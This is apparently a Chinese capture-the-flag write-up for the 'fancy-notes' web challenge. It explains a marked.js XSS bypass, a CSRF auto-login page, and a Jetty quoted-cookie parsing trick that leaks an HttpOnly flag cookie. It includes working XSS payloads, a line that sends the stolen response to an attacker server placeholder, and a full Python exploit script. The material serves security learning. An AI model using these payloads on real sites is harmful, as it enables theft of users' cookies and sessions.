又是一个XSS题,Docker里起了一个Web一个Bot一个Redis,Web使用Java写的,用的Eclipse的Jetty服务器,上层是Micronaut微服务框架来的,整体打包成一个JAR。
附件地址:CTF-Chal/fancy-notes.zip (github.com)
一开始还以为是Java相关的漏洞,随手看了下反编译,发现好像除了题目是Java写的之外和Java没啥关系,同理Redis也只是个用来传数据的中间媒介,似乎也利用不了什么漏洞。于是继续关注题目本身的逻辑。
先看Bot做了啥:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 const puppeteer = require ("puppeteer" );const Redis = require ('ioredis' );const connection = new Redis (6379 , process.env .REDIS_HOST ?? "127.0.0.1" );const browser_option = { headless : true , args : [ '--no-sandbox' , '--disable-gpu' , '--js-flags="--noexpose_wasm --jitless"' , ], executablePath : "google-chrome-stable" }; const MAIN_SITE = process.env .MAIN_SITE ?? "http://127.0.0.1:8000" const FLAG = process.env .FLAG ?? "flag{test}" const sleep = (delay ) => { return new Promise ((resolve ) => setTimeout (resolve, delay)) } async function browse (url ) { console .log (`[+] browsing ${url} started` ) const browser = await puppeteer.launch (browser_option); const page = await browser.newPage (); page.on ('dialog' , async (dialog) => { await dialog.dismiss (); }); try { await page.goto (MAIN_SITE , { timeout : 3000 , waitUntil : 'domcontentloaded' }); await sleep (1000 ); await page.setCookie ({ name : "FLAG" , value : FLAG , domain : new URL (MAIN_SITE ).hostname , path : "/" , secure : false , httpOnly : true }); await page.goto (url, { timeout : 3000 , waitUntil : 'domcontentloaded' }); await sleep (5000 ); console .log (await page.cookies (MAIN_SITE )); } catch (err) { console .log (err); } finally { await page.close (); await browser.close (); } console .log (`[+] browsing ${url} finished` ) } const handler = async ( ) => { console .log ('[+] Starting bot' ); while (true ) { console .log ("[+] Working " ) connection.blpop ('urls' , 0 , async (err, message) => { try { let url = message[1 ]; let parsed = new URL (url); if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:' ) { throw new Error ('Invalid protocol' ); } else { console .log ('[+] Visiting ' + url); await browse (url); } await sleep (3000 ); } catch (e) { } }); await sleep (3000 ) } } handler ();
能看见Bot首先访问了网站的首页,然后把Flag写进了Cookie里面,加了HTTP Only(这个是重点,等会会考),然后就会访问提交给Bot的URL了。Bot是死循环从Redis里面读URL,网站里也有相关的逻辑。
Web里面写了5个Controller,一个/auth
负责注册登录,一个/home
是用来展示用户的Notes,还有/submit
用来给Bot提交URL,/notes
负责新增Note的逻辑,还有一个/error
,是用来展示错误页的。
XSS
首先是在展示Note的/home
路由下发现可能会有XSS,这个功能是纯前端的实现,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 const createErrCookie = (error ) => { document .cookie = `error=${error} ; path=/error` ; } const getNotes = ( ) => { return fetch ("/notes" , { credentials : "include" , }).then (res => { return res.json (); }).catch (e => { console .log ("error when fetching notes: " + e) createErrCookie ("error fetching notes" ) }) } const createNoteCard = (note ) => { const card = document .createElement ("div" ); card.classList .add ("card" ); card.classList .add ("mb-3" ); card.classList .add ("text-center" ) const cardheader = document .createElement ("div" ); cardheader.classList .add ("card-header" ); cardheader.innerText = note.title const cardbody = document .createElement ("div" ); cardbody.classList .add ("card-body" ); cardbody.innerHTML = parseMarkdown (note.content ) card.appendChild (cardheader); card.appendChild (cardbody); return card; } const parseNode = (node ) => { let nodeName = node.nodeName .toLowerCase (); if (nodeName == "p" ) { return `<p>${node.innerText} </p>` } else if (["h1" , "h2" , "h3" , "h4" , "h5" ].includes (nodeName)) { const tagName = nodeName.toLowerCase () return `<${tagName} >${node.innerText} </${tagName} >` ; } else if (nodeName == "a" ) { let href = decodeURIComponent (node.href ); if (!parseLinkHref (href) || checkLinkHref (href)) { createErrCookie ("Invalid link href" ) return `<a target="_blank" href=# >${node.innerText} </a>` } return `<a target="_blank" href=${href} >${node.innerText} </a>` } else if (nodeName == "strong" ) { return `<strong>${node.innerText} </strong>` } else if (nodeName == "small" ) { return `<small>${node.innerText} </small>` } } const checkLinkHref = (hrefUrl ) => { const forbidden = [" " ,"\r" ,"\n" ,"<" ,">" ,"\"" ,"'" ,"script" ]; const forbiddenRegex = new RegExp (forbidden.join ("|" ), "i" ); if (forbiddenRegex.test (hrefUrl)) { return true ; } return false ; } const parseLinkHref = (hrefUrl ) => { try { let url = new URL (hrefUrl); let protocol = url.protocol ; if (protocol == "http:" || protocol == "https:" ) { return hrefUrl; } else { return false ; } } catch (e) { return false ; } } const parseMarkdown = (md ) => { let html = marked.parse (md) let dom = new DOMParser ().parseFromString (html, "text/html" ) let tmpl = dom.body ; let result = "" const allowedTags = ["p" , "strong" , "small" , "a" , "h1" , "h2" , "h3" , "h4" , "h5" ]; const allTags = tmpl.getElementsByTagName ("*" ); for (let i = 0 ; i < allTags.length ; i++) { if (!allowedTags.includes (allTags[i].tagName .toLowerCase ())) { allTags[i].parentNode .removeChild (allTags[i]); } else { result += parseNode (allTags[i]); } } return result; } document .addEventListener ("DOMContentLoaded" , async () => { const cookies = document .cookie .split (';' ); for (let i = 0 ; i < cookies.length ; i++) { let cookie = cookies[i]; while (cookie.charAt (0 ) === ' ' ) { cookie = cookie.substring (1 ); } if (cookie.indexOf ('error=' ) === 0 ) { location.href = "/error/frontend" ; } } let notes = await getNotes (); for (let note of notes) { const card = createNoteCard (note); document .getElementById ("card-lists" ).appendChild (card); } })
这里用前端实现了一个解析Markdown的功能,但是限制标签用的是白名单,基本上只能用来显示文本。唯一一处就是<a>
标签的href
是直接被读入进去的,但其实也只能控制这一个属性,因为还过滤了空格以及一系列其他的敏感字符串,所以也没法新增其他的属性了,这条路也基本上被堵死了。但是后面发现marked.js解析Markdown的时候会对某些畸形的标签识别错误,比如对于一个不完整的标签,marked.js会直接当成<p>
处理,因此也就给了绕过过滤的机会。
1 <a style ="transition:outline 1s" tabindex ="1" ontransitionend ="alert(1)//
上面的Payload渲染之后会变成这个样子,可以发现确实是被当成了<p>
标签,后面不完整的部分就直接被Chrome补全了。直接实现了XSS。
构造页面让Bot访问
接下来构造页面,让Bot来访问触发XSS。因为Web没法登陆后自动跳转到Notes页面,所以构造页面的时候,首先肯定是伪造Form用CSRF登录网站,随后还要想办法自动的带着已登录的身份跳转到/home
路由下面,从而触发XSS Payload。构造的页面如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <form action ="http://web:8000/auth/signin" method ="POST" > <input id ="u" name ="username" type ="name" /> <input id ="p" name ="password" type ="password" /> </form > <script > document .querySelector ("#u" ).value = "111111" ; document .querySelector ("#p" ).value = "111111" ; document .querySelector ("form" ).submit (); window .open ("./redirect.html" ); </script > <meta http-equiv ="refresh" content ="1; url='http://web:8000/home'" >
首先Bot访问index.html,这个页面会自动提交用户名和密码实现自动登录,登录之后用window.open()
打开了一个新窗口,访问redirect.html,里面的<meta>
标签设置好了延迟1s再跳转,避免出现这里跳转比登录的操作返回得更快,从而没有认证的情况。
此外,因为Note的内容限制了最大长度为100,所以还需要修改XSS Payload来执行更多代码(这里的fa-spin是页面里引入的FontAwesome CSS里面的现成的过渡动画,可以缩短Payload长度):
1 <a style="animation-name:fa-spin" onwebkitanimationend=eval (atob (location.hash .substr (1 )))
于是后面要执行的JS代码可以直接从hash里面传了。试一试传统的document.cookie
大法,发现啥也没打回来,这个时候想到Bot那边写的Cookie是HTTPOnly的,所以根本没法从JS读到,这样就需要从其他地方找利用点了。因为是第一次碰到HTTPOnly的绕过,搜索了一下已知的绕过方法除了上古时代的TRACE方法和Cookie Jar Overflow(这个还只能覆盖没法读取)以外基本上都是依靠后端的逻辑漏洞来实现的,比如PHPINFO,从服务端直接泄露Cookie。
泄露HTTPOnly Cookie
既然要泄露Cookie,就先找找看后端哪些地方读了Cookie,这个时候错误页的路由逻辑就开始派上用场:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 @Controller("/error") public class ExceptionController { private final Logger logger = LoggerFactory.getLogger(ExceptionController.class); ...... @Get("/frontend") @Error(global = true) @View("error") public HttpResponse<?> error(HttpRequest<?> request) { DetailedException detailedExceptionMessage; try { detailedExceptionMessage = createDetailedExceptionMessage(request); } catch (Exception e) { return (HttpResponse<?>)HttpResponse.status(HttpStatus.INTERNAL_SERVER_ERROR); } this .logger.error(detailedExceptionMessage.getReferrer() + ": " + detailedExceptionMessage.getReferrer()); return (HttpResponse<?>)HttpResponse.status(HttpStatus.INTERNAL_SERVER_ERROR) .body(CollectionUtils.mapOf(new Object [] { "error" , detailedExceptionMessage, "detailed" , Boolean.valueOf(true ) })); } private static DetailedException createDetailedExceptionMessage (HttpRequest<?> request) { return new DetailedException ((String)request.getHeaders().get("User-Agent" ), (String)request .getHeaders().get("Referer" ), URLDecoder.decode(request.getCookies().get("error" ).getValue(), StandardCharsets.UTF_8), new Date ()); } }
能看见createDetailedExceptionMessage()
方法里面获取了名为error
的Cookie值,并且将其作为返回的参数传给了前端的模板渲染。那么问题来了,它读它的error
,跟我要读FLAG
有啥关系呢……
于是乎开始打断点调试(Docker里面用的是JDWP远程调试),尝试跟踪到服务器对HTTP请求头里Cookie字段的处理逻辑,最终定位到Jetty下面的org.eclipse.jetty.server.CookieCutter#parseFields
方法,这个方法将Cookie字段的数据逐字符的判断,最终形成Cookie的键值对对象。跟了几遍之后发现一切似乎都很正常,用了好几个Flag来确定当前读到的字符是属于什么部分的,每读到一个分号就生成一个新的Cookie键值对。
但是还是发现了一些不寻常的东西,就是这套判断逻辑中还对Cookie的值有没有加引号进行了判断,如果发现这个值是被引号括住的,那么就会读取引号里面的内容。下面这段代码判断当前字符是否属于Cookie的值这一部分(=
后面的就判断为Cookie的值),如果开头是引号,那么inQuoted
Flag就会设为true
。
接下来看inQuoted为true的处理。可见除非再次碰到了引号(说明引号括起来的部分结束了)或者碰到了\x00
(字符串结束了)这两种情况,否则就会将后面的字符一直读取为当前Cookie的值。这就给利用提供了机会。
所以只要下面这种情况,就可以直接读取到Flag:
但是Bot那边显然没法像Burp那样抓包修改Cookie的顺序,按照先来后到的原则,通过XSS添加的Cookie必然是在最后一位的(实际测试也是这样),它后边没有任何其他Cookie,所以和没改效果差不多。在此处苦思冥想整不明白咋回事,于是搜了一下Chrome是怎么处理Cookie的排序的,有个回答直接把Chromium的源码贴了出来:
这就说的很清楚了,除了先来后到以外,还有个优先级更高的因素,就是Cookie生效的路径的长度。于是乎迎刃而解,因为FLAG
的生效路径是/
,那只需要把error
Cookie的生效路径整长一点,就可以让它排在FLAG前面了。最后整出了Payload,把XSS页面里面的题目服务器的IP地址换成了Docker里面的http://web:8000
,因为FLAG这个Cookie只在这个域下面生效。
1 2 3 4 5 6 document .cookie =`error="a; path=/error/frontend` ;var req=new XMLHttpRequest ();req.open ('GET' ,"/error/frontend" ,false ); req.withCredentials =true ; req.send (null ); location.href ='<EVIL_SERVER_URL>' +btoa (req.responseText );
用服务器接收Bot的请求,就能够拿到Bot那边/error/frontend
的响应,提取出Flag。
最后,闲得没事做整了个脚本一键拿Flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 import requestsfrom flask import Flaskimport string, randomimport threadingimport re, osimport base64import loggingCHAL_URL = "<CHAL_URL_HERE>" SERV_URL = "<EVIL_SERVER_URL>" USERPASS = "" .join([random.choice(string.ascii_lowercase) for i in range (6 )]) log = lambda m: print (f"[*] {m} " ) sess = requests.Session() app = Flask(__name__) logger = logging.getLogger('werkzeug' ) logger.setLevel(logging.ERROR) @app.route("/" ) def auto_login (): return f"""<form action="http://web:8000/auth/signin" method="POST"> <input id="u" name="username" type="name" /> <input id="p" name="password" type="password" /> </form> <script> document.querySelector("#u").value = "{USERPASS} "; document.querySelector("#p").value = "{USERPASS} "; document.querySelector("form").submit(); window.open("./redirect"); </script>""" @app.route("/redirect" ) def exec_payload (): payload = base64.b64encode(f"""document.cookie=`error="a; path=/error/frontend`;var req=new XMLHttpRequest();req.open('GET',"/error/frontend",false);req.withCredentials=true;req.send(null);location.href='{SERV_URL} /flag/'+btoa(req.responseText);""" .encode("utf-8" )) return f"""<meta http-equiv="refresh" content="1; url='http://web:8000/home#{payload.decode("utf-8" )} '">""" @app.route("/flag/<content>" ) def get_flag (content ): result = re.search("Error:(.*)</li>" , base64.b64decode(content.encode("utf-8" )).decode("utf-8" )).group(1 ) log(f"Result: {result} " ) return "Done" def register_and_login (): resp = sess.post(CHAL_URL + "/auth/signup" , data={ "username" : USERPASS, "password" : USERPASS, }, allow_redirects=False ) if resp.headers['Location' ] == '/auth/signin' : log(f"Successfully registered user {USERPASS} ." ) else : exit() resp = sess.post(CHAL_URL + "/auth/signin" , data={ "username" : USERPASS, "password" : USERPASS, }, allow_redirects=False ) if resp.headers['Location' ] == '/' : log(f"User {USERPASS} logged in." ) else : exit() def send_xss_payload (): resp = sess.post(CHAL_URL + "/notes/add" , data={ "title" : USERPASS, "content" : '<a style="animation-name:fa-spin" onwebkitanimationend=eval(atob(location.hash.substr(1)))//' , }, allow_redirects=False ) if resp.headers['Location' ] == '/home' : log(f"XSS payload sent." ) else : exit() def submit_url_to_bot (): resp = sess.get(CHAL_URL + "/submit" ) prefix = re.search("sha256\(captcha, 0, 6\) == ([0-9a-f]{6})" , resp.text).group(1 ) log(f"Got captcha {prefix} , solving..." ) result = re.search("proof of work: (.*)\n" , os.popen(f"./pow-solver {prefix} " ).read()).group(1 ) log(f"Solved! result: {result} ." ) resp = sess.post(CHAL_URL + "/submit" , data={ "url" : SERV_URL, "captcha" : result }) try : if resp.json()["result" ].startswith("Success" ): log(f"URL sent to bot. Waiting for flag..." ) except : exit() def main (): register_and_login() send_xss_payload() submit_url_to_bot() if __name__ == "__main__" : log("XSS server is running." ) threading.Thread(target=main).start() app.run("0.0.0.0" , 7000 , debug=False )
Reference